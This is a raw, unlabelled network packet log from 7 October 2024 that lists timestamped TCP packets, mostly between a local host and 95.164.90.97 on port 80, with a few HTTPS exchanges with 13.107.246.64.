Oct 7, 2024 18:00:49.150517941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150531054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150541067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150549889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150551081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150563002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150573969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150578976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150585890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150607109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150621891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150669098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150712013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150722980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150733948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150752068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150768042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150809050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150820971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150830984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150851011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150861025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.150974035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.150985956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151021957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151329041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151340961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151350975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151361942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151370049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151371956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151400089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151410103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151417971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151423931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151434898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151434898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151447058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151468039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151470900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151488066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151490927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151500940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151510954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151515961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151520967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151540995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151544094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151556015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151570082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151570082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151581049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151591063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151597023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151602983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151613951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151623964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151623964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151637077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151647091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151648045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151660919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151669025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151673079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151683092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151693106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151699066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151702881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151714087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151714087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151731014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151740074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151741982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.151756048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.151784897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.213321924 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.213814974 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.213826895 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.214340925 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.214346886 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.229717970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229823112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.229834080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229846001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229856968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229868889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229880095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229882956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.229892015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229903936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229947090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.229979038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.229990005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230001926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230022907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230026007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230036974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230042934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230046988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230048895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230113983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230196953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230209112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230218887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230232000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230242014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230242968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230252981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230262041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230287075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230310917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230350018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230396032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230490923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230503082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230513096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230525970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230536938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230542898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230556011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230562925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230566978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230578899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230583906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230591059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230602026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230607986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230632067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230647087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230669022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230848074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230873108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230884075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230890989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230895042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230906963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230916023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230918884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230927944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230933905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230938911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230947971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.230952024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230962992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230974913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.230979919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231003046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231017113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231307030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231318951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231329918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231339931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231349945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231359959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231364012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231375933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231400013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231405020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231409073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231417894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231430054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231446981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231451988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231465101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231467009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231477022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231487989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231498957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231504917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231504917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231512070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231518984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231528044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231539011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231551886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231553078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231563091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231566906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231575012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231585026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231596947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231596947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231615067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231626034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.231643915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231657028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.231698036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232490063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232501984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232511997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232521057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232531071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232542992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232546091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232554913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232566118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232575893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232578993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232588053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232599020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232599974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232609987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232619047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232623100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232635021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232644081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232646942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232656956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232669115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232675076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232695103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232707977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.232980013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.232991934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.233001947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.233012915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.233027935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.233056068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.243571997 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.244211912 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.244239092 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.244719028 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.244724989 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.248475075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248486042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248501062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248512030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248565912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248600006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248689890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248702049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248712063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248723984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248733997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248742104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248744965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248773098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248785973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248797894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248812914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248823881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248836040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248846054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248856068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248857975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248868942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.248883963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248904943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.248929024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.250044107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250055075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250063896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250072956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250082016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250092030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250102043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250109911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.250112057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250123024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250133038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250142097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.250142097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.250165939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.250180006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.311388969 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.311418056 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.311467886 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.311505079 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.311562061 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.311809063 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.311809063 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.311829090 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.311837912 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.314208031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314230919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314241886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314264059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314274073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314318895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314368963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314379930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314390898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314404011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314414978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314488888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314488888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314488888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314488888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314538956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314549923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314558983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314568043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314579964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314587116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.314589024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314601898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314620018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.314835072 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.314865112 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.314939022 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.315071106 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.315084934 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.315099955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315113068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315124035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315134048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315145969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315150976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315157890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315169096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315177917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315181017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315193892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315196991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315206051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315213919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315217972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315232992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315233946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315260887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315287113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315438032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315449953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315459967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315469980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315479994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315488100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315491915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315504074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315514088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315515041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315527916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315529108 CEST	49831	80	192.168.2.5	95.164.90.97
